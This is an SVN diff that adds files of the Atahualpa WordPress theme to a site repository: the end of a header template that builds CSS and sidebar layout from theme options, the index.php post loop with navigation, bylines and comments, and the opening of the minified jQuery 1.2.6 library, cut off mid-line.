+	}
+
+.post img { <?php echo $bfa_ata_post_image_style; ?> }
+
+.wp-caption { <?php echo $bfa_ata_post_image_caption_style; ?> }
+
+.wp-caption p.wp-caption-text {
+	<?php echo $bfa_ata_image_caption_text; ?>
+	}
+
+img.avatar { 
+	<?php echo $bfa_ata_avatar_style; ?> 
+	}
+	
+div#respond {
+	<?php echo $bfa_ata_comment_form_style; ?> 
+	}
+	
+<?php if (strpos($bfa_ata_configure_header,'%pages')!==false OR strpos($bfa_ata_configure_header,'%cats')!==false) { ?>
+div#menu1 ul.rMenu-ver, div#menu1 ul.rMenu-ver ul
+	{
+	width: <?php echo $bfa_ata_page_menu_submenu_width; ?>em;	
+	}
+
+div#menu2 ul.rMenu-ver, div#menu2 ul.rMenu-ver ul
+	{
+	width: <?php echo $bfa_ata_cat_menu_submenu_width; ?>em;	
+	}
+	
+ul.rMenu
+	{
+	background: #<?php echo $bfa_ata_page_menu_bar_background_color; ?>;
+	border: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;
+	}
+
+ul#rmenu
+	{
+	background: #<?php echo $bfa_ata_cat_menu_bar_background_color; ?>;
+	border: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;
+	}
+
+ul.rMenu li a
+	{
+	border: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;	
+	}
+
+ul#rmenu li a
+	{
+	border: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;	
+	}
+
+div#menu1 ul.rMenu-ver
+	{
+	border-top: <?php echo $bfa_ata_anchor_border_page_menu_bar; ?>;	
+	}
+
+div#menu2 ul.rMenu-ver
+	{
+	border-top: <?php echo $bfa_ata_anchor_border_cat_menu_bar; ?>;	
+	}
+	
+ul.rMenu li a:link, ul.rMenu li a:hover, ul.rMenu li a:visited, ul.rMenu li a:active
+	{
+	color: #<?php echo $bfa_ata_page_menu_bar_link_color; ?>;
+	text-transform: <?php echo $bfa_ata_page_menu_transform; ?>;
+	font: <?php echo $bfa_ata_page_menu_font; ?>;  
+	}
+
+ul#rmenu li a:link, ul#rmenu li a:hover, ul#rmenu li a:visited, ul#rmenu li a:active
+	{
+	color: #<?php echo $bfa_ata_cat_menu_bar_link_color; ?>;
+	text-transform: <?php echo $bfa_ata_cat_menu_transform; ?>;
+	font: <?php echo $bfa_ata_cat_menu_font; ?>; 
+	}
+	
+ul.rMenu li
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color; ?>;	
+	}
+
+ul#rmenu li
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color; ?>;	
+	}
+	
+ul.rMenu li:hover,
+ul.rMenu li.sfhover
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color_parent; ?>;	
+	}
+
+ul#rmenu li:hover,
+ul#rmenu li.sfhover
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color_parent; ?>;	
+	}
+
+ul.rMenu li.current_page_item a:link, 
+ul.rMenu li.current_page_item a:active, 
+ul.rMenu li.current_page_item a:hover, 
+ul.rMenu li.current_page_item a:visited, 
+ul.rMenu li a:hover
+	{
+	background-color: #<?php echo $bfa_ata_page_menu_bar_background_color_hover; ?>;
+	color: #<?php echo $bfa_ata_page_menu_bar_link_color_hover; ?>;
+	}
+
+ul#rmenu li.current-cat a:link, 
+ul#rmenu li.current-cat a:active, 
+ul#rmenu li.current-cat a:hover, 
+ul#rmenu li.current-cat a:visited, 
+ul#rmenu li a:hover
+	{
+	background-color: #<?php echo $bfa_ata_cat_menu_bar_background_color_hover; ?>;
+	color: #<?php echo $bfa_ata_cat_menu_bar_link_color_hover; ?>;
+	}
+
+div#menu1 ul.rMenu li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu1 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-right<?php echo ($bfa_ata_page_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+
+div#menu2 ul.rMenu li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a,
+div#menu2 ul.rMenu li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand li.rMenu-expand a 
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-right<?php echo ($bfa_ata_cat_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+	
+div#menu1 ul.rMenu-hor li.rMenu-expand a
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-down<?php echo ($bfa_ata_page_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+	
+div#menu2 ul.rMenu-hor li.rMenu-expand a
+	{
+	background-image: url(<?php echo get_bloginfo('template_directory'); ?>/images/expand-down<?php echo ($bfa_ata_cat_menu_arrows == "white" ? "-white" : ""); ?>.gif);
+	}
+<?php } ?>	
+<?php echo $bfa_ata_html_inserts_css; ?>
+</style>
+<?php wp_head(); ?>
+<?php if (function_exists('wp_pagenavi')) { ?>
+<style type="text/css">
+.wp-pagenavi a:link, .wp-pagenavi a:visited, .wp-pagenavi a:active { color: #<?php echo $bfa_ata_link_color; ?>; border: solid 1px #<?php echo $bfa_ata_link_color; ?>; }
+.wp-pagenavi a:hover { color: #<?php echo $bfa_ata_link_hover_color; ?>; border: solid 1px #<?php echo $bfa_ata_link_hover_color; ?>; }
+</style>
+<?php } ?>
+<?php echo ($bfa_ata_html_inserts_header != "" ? apply_filters(widget_text, $bfa_ata_html_inserts_header) : ''); ?>
+</head>
+<?php
+// load postinfo function
+include (TEMPLATEPATH . '/functions/bfa_postinfo.php');
+// if this is a multi post page, and a "home" link is set for the next/prev navigation on multi post pages, 
+// figure out if this the blog homepage, and remove the "home" link from the next/prev navigation if true
+if ( !is_single() AND !is_page() AND $bfa_ata_home_multi_next_prev != '' ) {
+	$nav_home_div_on = '<div class="home"><a href="' . get_option('home') . '/">' . $bfa_ata_home_multi_next_prev . '</a></div>'; 
+	// for WP 2.5 and newer
+	if ( function_exists('is_front_page') ) {
+		// make sure this is the real homepage and not a subsequent page
+		if (is_front_page() && !is_paged() ) {
+		$nav_home_add = ""; $nav_home_div = ""; 
+		} else {
+		$nav_home_add = '-home';
+		$nav_home_div = $nav_home_div_on; 
+		}
+	} 
+	// for WP 2.3 and older
+	// make sure this is the real homepage and not a subsequent page
+	elseif ( is_home() && !is_paged() ) {
+	$nav_home_add = ""; $nav_home_div = "";
+	}
+	else { 
+	$nav_home_add = '-home'; 
+	$nav_home_div = $nav_home_div_on; 
+	}
+}
+// Home link for next/prev on single pages
+if ( is_single() ) {
+	if ($bfa_ata_home_single_next_prev != '') {
+	$nav_home_div_on_single = '<div class="home"><a href="' . get_option('home') . '/">' . $bfa_ata_home_single_next_prev . '</a></div>'; 
+	$nav_home_add_single = '-home';
+	} else {
+	$nav_home_div_on_single = "";
+	$nav_home_add_single = "";
+	}
+}
+// figure out sidebars
+global $cols;
+$cols = 1;
+if ( is_page() ) {
+#$current_page_id = $wp_query->get('page_id');
+$current_page_id = $wp_query->get_queried_object_id();
+	if ($bfa_ata_left_col_pages_exclude != "") { 
+	$pages_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_pages_exclude));
+		if ( $bfa_ata_leftcol_on['page'] && !in_array($current_page_id, $pages_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['page'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_pages_exclude != "") { 
+	$pages_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_pages_exclude));
+		if ( $bfa_ata_rightcol_on['page'] && !in_array($current_page_id, $pages_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['page'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} elseif ( is_category() ) {
+$current_cat_id = get_query_var('cat');
+	if ($bfa_ata_left_col_cats_exclude != "") {
+	$cats_exlude_left = explode(",", str_replace(" ", "", $bfa_ata_left_col_cats_exclude));
+		if ( $bfa_ata_leftcol_on['category'] && !in_array($current_cat_id, $cats_exlude_left) ) {
+		$cols++; $left_col = "on"; }
+	} else {
+		if ( $bfa_ata_leftcol_on['category'] ) {
+		$cols++; $left_col = "on"; }
+	}
+	if ($bfa_ata_right_col_cats_exclude != "") {
+	$cats_exlude_right = explode(",", str_replace(" ", "", $bfa_ata_right_col_cats_exclude));
+		if ( $bfa_ata_rightcol_on['category'] && !in_array($current_cat_id, $cats_exlude_right) ) {
+		$cols++; $right_col = "on"; }
+	} else {
+		if ( $bfa_ata_rightcol_on['category'] ) {
+		$cols++; $right_col = "on"; }
+	}
+} else {
+if ( (is_home() && $bfa_ata_leftcol_on['homepage']) || ( is_front_page() && $bfa_ata_leftcol_on['frontpage']) || 
+( is_single() && $bfa_ata_leftcol_on['single']) || ( is_date() && $bfa_ata_leftcol_on['date']) || 
+( is_tag() && $bfa_ata_leftcol_on['tag']) || ( is_search() && $bfa_ata_leftcol_on['search']) || 
+( is_author() && $bfa_ata_leftcol_on['author']) || ( is_404() && $bfa_ata_leftcol_on['404']) || 
+( is_attachment() && $bfa_ata_leftcol_on['attachment']) ) {
+	$cols++; $left_col = "on"; 
+	}
+if ( (is_home() && $bfa_ata_rightcol_on['homepage']) || ( is_front_page() && $bfa_ata_rightcol_on['frontpage']) || 
+( is_single() && $bfa_ata_rightcol_on['single']) || ( is_date() && $bfa_ata_rightcol_on['date']) || 
+( is_tag() && $bfa_ata_rightcol_on['tag']) || ( is_search() && $bfa_ata_rightcol_on['search']) || 
+( is_author() && $bfa_ata_rightcol_on['author']) || ( is_404() && $bfa_ata_rightcol_on['404']) || 
+( is_attachment() && $bfa_ata_rightcol_on['attachment']) ) {
+	$cols++; $right_col = "on"; 
+	}
+}
+
+?>
+<body<?php echo ($bfa_ata_html_inserts_body_tag != "" ? ' ' . apply_filters(widget_text, $bfa_ata_html_inserts_body_tag) : ''); ?>>
+<?php echo ($bfa_ata_html_inserts_body_top != "" ? apply_filters(widget_text, $bfa_ata_html_inserts_body_top) : ''); ?>
+<div id="wrapper">
+<div id="container">
+<table id="layout" border="0" cellspacing="0" cellpadding="0">
+<colgroup>
+<?php if ( $left_col == "on" ) { ?>
+<col class="colone" />
+<?php } ?>
+<col class="coltwo" />
+<?php if ( $right_col == "on" ) { ?>
+<col class="colthree" />
+<?php } ?>
+</colgroup> 
+	<tr>
+
+		<!-- Header -->
+		<td id="header" colspan="<?php echo $cols; ?>">
+		
+		<?php bfa_header_config($bfa_ata_configure_header); ?>
+
+		</td>
+		<!-- / Header -->
+
+	</tr>
+
+	<!-- Main Body -->	
+	<tr>
+
+		<?php if ( $left_col == "on" ) { ?>
+		<!-- Left Sidebar -->
+		<td id="left">
+
+			<?php // Widgetize the Left Sidebar 
+			if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : echo "To put some content here, go to Site Admin -> Appearance/Presentation -> Widgets -> Select \"Left Sidebar\" -> Click \"Show\" -> Click on \"Add\" on one of the widgets on the left side -> Click \"Save changes\" -> Done";
+			endif; ?>
+
+		</td>
+		<!-- / Left Sidebar -->
+		<?php } ?>
+
+
+		<!-- Main Column -->
+		<td id="middle">
+		
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/index.php	(revision 44)
@@ -0,0 +1,289 @@
+<?php 
+global $options; 
+foreach ($options as $value) { 
+	if (get_option( $value['id'] ) === FALSE) { 
+		$$value['id'] = $value['std']; 
+	} else { 
+		$$value['id'] = get_option( $value['id'] ); 
+	} 
+}
+if ( is_page() ) { global $wp_query; $current_page_id = $wp_query->get_queried_object_id(); }
+?>
+<?php get_header(); ?>
+<?php // If there are any posts:
+if (have_posts()) : $postcount == 0; ?>
+<?php if( is_archive() AND function_exists('page2cat_output')) { page2cat_output($cat); } // This is for the plugin Page2Cat http://wordpress.org/extend/plugins/page2cat/ ?>
+
+	<?php		
+	// Next/Previous PAGE Links (on multi post pages) 
+	// in next_posts_link "next" means older posts
+	if ( !is_single() AND !is_page() AND strpos($bfa_ata_location_multi_next_prev,'Top')!==false AND show_posts_nav() ) {
+		if (function_exists('wp_pagenavi')) { 
+			echo '<div class="wp-pagenavi-navigation">'; wp_pagenavi(); echo '</div>'; 
+		} else { 
+			echo '<div class="navigation-top">
+			<div class="older' . $nav_home_add . '">'; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			next_posts_link(bfa_escape($bfa_ata_multi_next_prev_older)) : 
+			previous_posts_link(bfa_escape($bfa_ata_multi_next_prev_newer)); 
+			echo ' &nbsp;</div>' . $nav_home_div . '<div class="newer' . $nav_home_add . '">&nbsp; ';
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			previous_posts_link(bfa_escape($bfa_ata_multi_next_prev_newer)) : 
+			next_posts_link(bfa_escape($bfa_ata_multi_next_prev_older)); 
+			echo '</div>
+			<div class="clearboth"></div>
+			</div>'; 
+		} 
+	} 						
+	?>		
+			
+	
+	<?php // Do this for all posts:
+	while (have_posts()) : the_post(); $postcount++; ?> 
+
+		<?php
+		// Next/Previous POST Links (on single post pages) 
+		// in next_post_link "next" means newer posts
+		if ( is_single() AND strpos($bfa_ata_location_single_next_prev,'Top')!==false ) { 
+			echo '<div class="navigation-top">
+			<div class="older' . $nav_home_add_single . '">'; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? previous_post_link(bfa_escape($bfa_ata_single_next_prev_older)) : 
+			next_post_link(bfa_escape($bfa_ata_single_next_prev_newer));
+			echo ' &nbsp;</div>' . $nav_home_div_on_single . '<div class="newer' . $nav_home_add_single . '">&nbsp; '; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? next_post_link(bfa_escape($bfa_ata_single_next_prev_newer)) : 
+			previous_post_link(bfa_escape($bfa_ata_single_next_prev_older));
+			echo '</div>
+			<div class="clearboth"></div>
+			</div>';			
+		} ?>
+					
+
+					
+		<div class="post<?php 
+		// new WP 2.7 "sticky" class only on real blog homepage
+		if (function_exists('is_sticky')) { 
+			if ( is_home() AND !is_paged() AND is_sticky() ) { 
+				echo " sticky"; 
+			} 
+		} 
+		?>">
+								
+					
+		<?php // Post Kicker
+		if( (is_home() && $bfa_ata_post_kicker_home != "") OR 
+		(is_page() && $bfa_ata_post_kicker_page != "") OR 
+		(is_single() && $bfa_ata_post_kicker_single != "") OR 
+		( (is_archive() OR is_search() OR is_author() OR is_tag()) && $bfa_ata_post_kicker_multi != "") ) {
+			echo '<div class="post-kicker">';
+				if ( is_home() ) { echo postinfo("$bfa_ata_post_kicker_home"); } 
+				elseif ( is_page() ) { echo postinfo("$bfa_ata_post_kicker_page"); } 
+				elseif ( is_single() ) { echo postinfo("$bfa_ata_post_kicker_single"); } 
+				else { echo postinfo("$bfa_ata_post_kicker_multi"); } 
+			echo '</div>';
+		} ?>
+
+
+						
+		<!-- Post Headline -->					
+		<div class="post-headline">	
+		<h2><?php 
+		if( !is_single() AND !is_page() ) { ?>
+			<a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php 
+			if (function_exists('the_title_attribute')) { 
+				the_title_attribute();
+			} 
+			elseif (function_exists('the_title')) { 
+				the_title();
+			} ?>"><?php 
+		} the_title(); 
+		if( !is_single() AND !is_page() ) { ?>
+			</a><?php 
+		} ?>
+		</h2>
+		</div>
+
+						
+						
+		<?php // Post Byline
+		if( (is_home() && $bfa_ata_post_byline_home != "") OR 
+		(is_page() && $bfa_ata_post_byline_page != "") OR 
+		(is_single() && $bfa_ata_post_byline_single != "") OR 
+		( (is_archive() OR is_search() OR is_author() OR is_tag()) && $bfa_ata_post_byline_multi != "") ) {
+			echo '<div class="post-byline">';
+			if ( is_home() ) { echo postinfo("$bfa_ata_post_byline_home"); } 
+			elseif ( is_page() ) { echo postinfo("$bfa_ata_post_byline_page"); } 
+			elseif ( is_single() ) { echo postinfo("$bfa_ata_post_byline_single"); } 
+			else { echo postinfo("$bfa_ata_post_byline_multi"); } 
+			echo '</div>';
+		} ?>
+
+
+						
+		<!-- Post Body Copy -->				
+		<div class="post-bodycopy clearfix">
+		<?php if ((is_home() && $bfa_ata_excerpts_home == "Full Posts") OR 
+		(is_category() && $bfa_ata_excerpts_category == "Full Posts") OR 
+		(is_date() && $bfa_ata_excerpts_archive == "Full Posts") OR 
+		(is_tag() && $bfa_ata_excerpts_tag == "Full Posts") OR 
+		(is_search() && $bfa_ata_excerpts_search == "Full Posts") OR 
+		(is_author() && $bfa_ata_excerpts_author == "Full Posts") OR 
+		is_single() OR 
+		is_page() OR (is_home() AND !is_paged() AND $postcount <= $bfa_ata_full_posts_homepage) ) { 
+			$bfa_ata_more_tag_final = str_replace("%post-title%", the_title('', '', false), $bfa_ata_more_tag);
+			the_content(bfa_escape($bfa_ata_more_tag_final)); 
+		} else { 
+			the_excerpt(); 
+		} ?>
+		</div>	
+
+
+						
+		<?php // Post Pagination 
+		if ((is_home() && $bfa_ata_excerpts_home == "Full Posts") OR 
+		(is_category() && $bfa_ata_excerpts_category == "Full Posts") OR 
+		(is_date() && $bfa_ata_excerpts_archive == "Full Posts") OR 
+		(is_tag() && $bfa_ata_excerpts_tag == "Full Posts") OR 
+		(is_search() && $bfa_ata_excerpts_search == "Full Posts") OR 
+		(is_author() && $bfa_ata_excerpts_author == "Full Posts") OR 
+		is_single() OR 
+		is_page() ) {
+			wp_link_pages('before=<p class="post-pagination"><strong>' . __('Pages:','atahualpa') . '</strong> &after=</p>&next_or_number=number'); 
+		} ?>
+
+						
+						
+		<?php // Show Archives page if configured
+		if ( is_page() AND $current_page_id == $bfa_ata_archives_page_id ) { ?>
+			<div class="archives-page">
+							
+			<?php if ( $bfa_ata_archives_date_show == "Yes" ) { ?>
+				<h3><?php echo $bfa_ata_archives_date_title; ?></h3>
+				<ul>
+				<?php wp_get_archives('type=' . $bfa_ata_archives_date_type . '&show_post_count=' . ($bfa_ata_archives_date_count == "Yes" ? '1' : '0')); ?>
+				</ul>
+			<?php } 
+							
+			if ( $bfa_ata_archives_category_show == "Yes" ) { ?>
+				<h3><?php echo $bfa_ata_archives_category_title; ?></h3>
+				<ul>
+				<?php wp_list_categories('title_li=&orderby=' . $bfa_ata_archives_category_orderby . 
+				'&order=' . $bfa_ata_archives_category_order . 
+				'&show_count=' . ($bfa_ata_archives_category_count == "Yes" ? '1' : '0') . 
+				'&depth=' . $bfa_ata_archives_category_depth . 
+				($bfa_ata_archives_category_feed == "Yes" ? '&feed_image=' . get_bloginfo('template_directory') . '/images/icons/feed.gif' : '')); ?>
+				</ul>
+			<?php } ?>
+							
+			</div>					
+		<?php } ?>
+									
+						
+						
+		<?php // Post Footer
+		if( (is_home() && $bfa_ata_post_footer_home != "") OR 
+		(is_page() && $bfa_ata_post_footer_page != "") OR 
+		(is_single() && $bfa_ata_post_footer_single != "") OR 
+		( (is_archive() OR is_search() OR is_author() OR is_tag()) && $bfa_ata_post_footer_multi != "") ) {
+			echo '<div class="post-footer">';
+			if ( is_home() ) { echo postinfo("$bfa_ata_post_footer_home"); } 
+			elseif ( is_page() ) { echo postinfo("$bfa_ata_post_footer_page"); } 
+			elseif ( is_single() ) { echo postinfo("$bfa_ata_post_footer_single"); } 
+			else { echo postinfo("$bfa_ata_post_footer_multi"); } 
+			echo '</div>';
+		} ?>
+
+						
+						
+		</div><!-- / Post -->
+								
+
+								
+		<?php // Next/Previous POST Links (on single post pages) 
+		if ( is_single() AND strpos($bfa_ata_location_single_next_prev,'Middle')!==false ) { 
+			echo '<div class="navigation-middle">
+			<div class="older' . ($bfa_ata_home_single_next_prev != '' ? '-home' : '') . '">'; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? previous_post_link(bfa_escape($bfa_ata_single_next_prev_older)) : 
+			next_post_link(bfa_escape($bfa_ata_single_next_prev_newer));
+			echo ' &nbsp;</div>' . ($bfa_ata_home_single_next_prev!= '' ? '<div class="home"><a href="' . get_option('home') . '/">' . 
+			$bfa_ata_home_single_next_prev . '</a></div>' : '') . '<div class="newer' . ($bfa_ata_home_single_next_prev != '' ? '-home' : '') . '">&nbsp; '; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? next_post_link(bfa_escape($bfa_ata_single_next_prev_newer)) : 
+			previous_post_link(bfa_escape($bfa_ata_single_next_prev_older));
+			echo '</div>
+			<div class="clearboth"></div>
+			</div>';			
+		} ?>
+
+					
+					
+		<?php // Load Comments template (on single post pages, and "Page" pages, if set on options page) 
+		if ( is_single() OR ( is_page() && $bfa_ata_comments_on_pages == "Yes") ) {
+			if (function_exists('paged_comments')) { 
+				paged_comments_template(); // If plugin "Paged Comments" is activated, for WP 2.6 and older
+				} else { 
+				comments_template(); // This will load either legacy comments template (for WP 2.6 and older) or the new standard comments template (for WP 2.7 and newer)
+			}	 
+		} ?>
+
+					
+					
+		<?php // Next/Previous POST Links (on single post pages) 
+		// in next_post_link "next" means newer 
+		if ( is_single() AND strpos($bfa_ata_location_single_next_prev,'Bottom')!==false ) { 
+			echo '<div class="navigation-bottom">
+			<div class="older' . ($bfa_ata_home_single_next_prev != '' ? '-home' : '') . '">'; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			previous_post_link(bfa_escape($bfa_ata_single_next_prev_older)) : 
+			next_post_link(bfa_escape($bfa_ata_single_next_prev_newer));
+			echo ' &nbsp;</div>' . ($bfa_ata_home_single_next_prev!= '' ? '<div class="home"><a href="' . get_option('home') . '/">' . 
+			$bfa_ata_home_single_next_prev . '</a></div>' : '') . '<div class="newer' . ($bfa_ata_home_single_next_prev != '' ? '-home' : '') . '">&nbsp; '; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			next_post_link(bfa_escape($bfa_ata_single_next_prev_newer)) : 
+			previous_post_link(bfa_escape($bfa_ata_single_next_prev_older));
+			echo '</div>
+			<div class="clearboth"></div>
+			</div>';			
+		} ?>
+				
+
+	
+	<?php // END of: Do this for all posts
+	endwhile; ?> 
+				
+
+	<?php			
+	// Next/Previous PAGE Links (on multi post pages) 
+	// in next_posts_link "next" means older 
+	if ( !is_single() AND !is_page() AND strpos($bfa_ata_location_multi_next_prev,'Bottom')!==false AND show_posts_nav() ) {
+		if (function_exists('wp_pagenavi')) { 
+			echo '<div class="wp-pagenavi-navigation">'; wp_pagenavi(); echo '</div>'; 
+		} else { 
+			echo '<div class="navigation-bottom">
+			<div class="older' . $nav_home_add . '">'; 
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			next_posts_link(bfa_escape($bfa_ata_multi_next_prev_older)) : 
+			previous_posts_link(bfa_escape($bfa_ata_multi_next_prev_newer)); 
+			echo ' &nbsp;</div>' . $nav_home_div . '<div class="newer' . $nav_home_add . '">&nbsp; ';
+			$bfa_ata_next_prev_orientation == 'Older Left, Newer Right' ? 
+			previous_posts_link(bfa_escape($bfa_ata_multi_next_prev_newer)) : 
+			next_posts_link(bfa_escape($bfa_ata_multi_next_prev_older)); 
+			echo '</div>
+			<div style="clear:both"></div>
+			</div>'; 
+		} 
+	} ?>			
+				
+<?php			
+// END of: If there are any posts 
+// If there are no posts: 
+else : 
+?>
+
+
+	<h2><?php _e('Not Found','atahualpa'); ?></h2>
+	<p><?php _e("Sorry, but you are looking for something that isn't here.","atahualpa"); ?></p>
+	
+	
+<?php endif; ?>
+
+			
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/jquery-1.2.6.min.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/jquery-1.2.6.min.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/js/jquery-1.2.6.min.js	(revision 44)
@@ -0,0 +1,32 @@
+/*
+ * jQuery 1.2.6 - New Wave Javascript
+ *
+ * Copyright (c) 2008 John Resig (jquery.com)
+ * Dual licensed under the MIT (MIT-LICENSE.txt)
+ * and GPL (GPL-LICENSE.txt) licenses.
+ *
+ * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $
+ * $Rev: 5685 $
+ */
+(function(){var _jQuery=window.jQuery,_$=window.$;var jQuery=window.jQuery=window.$=function(selector,context){return new jQuery.fn.init(selector,context);};var quickExpr=/^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/,isSimple=/^.[^:#\[\.]*$/,undefined;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(selector.nodeType){this[0]=selector;this.length=1;return this;}if(typeof selector=="string"){var match=quickExpr.exec(selector);if(match&&(match[1]||!context)){if(match[1])selector=jQuery.clean([match[1]],context);else{var elem=document.getElementById(match[3]);if(elem){if(elem.id!=match[3])return jQuery().find(selector);return jQuery(elem);}selector=[];}}else
+return jQuery(context).find(selector);}else if(jQuery.isFunction(selector))return jQuery(document)[jQuery.fn.ready?"ready":"load"](selector);return this.setArray(jQuery.makeArray(selector));},jquery:"1.2.6",size:function(){return this.length;},length:0,get:function(num){return num==undefined?jQuery.makeArray(this):this[num];},pushStack:function(elems){var ret=jQuery(elems);ret.prevObject=this;return ret;},setArray:function(elems){this.length=0;Array.prototype.push.apply(this,elems);return this;},each:function(callback,args){return jQuery.each(this,callback,args);},index:function(elem){var ret=-1;return jQuery.inArray(elem&&elem.jquery?elem[0]:elem,this);},attr:function(name,value,type){var options=name;if(name.constructor==String)if(value===undefined)return this[0]&&jQuery[type||"attr"](this[0],name);else{options={};options[name]=value;}return this.each(function(i){for(name in options)jQuery.attr(type?this.style:this,name,jQuery.prop(this,options[name],type,i,name));});},css:function(key,value){if((key=='width'||key=='height')&&parseFloat(value)<0)value=undefined;return this.attr(key,value,"curCSS");},text:function(text){if(typeof text!="object"&&text!=null)return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(text));var ret="";jQuery.each(text||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)ret+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return ret;},wrapAll:function(html){if(this[0])jQuery(html,this[0].ownerDocument).clone().insertBefore(this[0]).map(function(){var elem=this;while(elem.firstChild)elem=elem.firstChild;return elem;}).append(this);return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,false,function(elem){if(this.nodeType==1)this.appendChild(elem);});},prepend:function(){return this.domManip(arguments,true,true,function(elem){if(this.nodeType==1)this.insertBefore(elem,this.firstChild);});},before:function(){return this.domManip(arguments,false,false,function(elem){this.parentNode.insertBefore(elem,this);});},after:function(){return this.domManip(arguments,false,true,function(elem){this.parentNode.insertBefore(elem,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},find:function(selector){var elems=jQuery.map(this,function(elem){return jQuery.find(selector,elem);});return this.pushStack(/[^+>] [^+>]/.test(selector)||selector.indexOf("..")>-1?jQuery.unique(elems):elems);},clone:function(events){var ret=this.map(function(){if(jQuery.browser.msie&&!jQuery.isXMLDoc(this)){var clone=this.cloneNode(true),container=document.createElement("div");container.appendChild(clone);return jQuery.clean([container.innerHTML])[0];}else
+return this.cloneNode(true);});var clone=ret.find("*").andSelf().each(function(){if(this[expando]!=undefined)this[expando]=null;});if(events===true)this.find("*").andSelf().each(function(i){if(this.nodeType==3)return;var events=jQuery.data(this,"events");for(var type in events)for(var handler in events[type])jQuery.event.add(clone[i],type,events[type][handler],events[type][handler].data);});return ret;},filter:function(selector){return this.pushStack(jQuery.isFunction(selector)&&jQuery.grep(this,function(elem,i){return selector.call(elem,i);})||jQuery.multiFilter(selector,this));},not:function(selector){if(selector.constructor==String)if(isSimple.test(selector))return this.pushStack(jQuery.multiFilter(selector,this,true));else
+selector=jQuery.multiFilter(selector,this);var isArrayLike=selector.length&&selector[selector.length-1]!==undefined&&!selector.nodeType;return this.filter(function(){return isArrayLike?jQuery.inArray(this,selector)<0:this!=selector;});},add:function(selector){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),typeof selector=='string'?jQuery(selector):jQuery.makeArray(selector))));},is:function(selector){return!!selector&&jQuery.multiFilter(selector,this).length>0;},hasClass:function(selector){return this.is("."+selector);},val:function(value){if(value==undefined){if(this.length){var elem=this[0];if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,values=[],options=elem.options,one=elem.type=="select-one";if(index<0)return null;for(var i=one?index:0,max=one?index+1:options.length;i<max;i++){var option=options[i];if(option.selected){value=jQuery.browser.msie&&!option.attributes.value.specified?option.text:option.value;if(one)return value;values.push(value);}}return values;}else
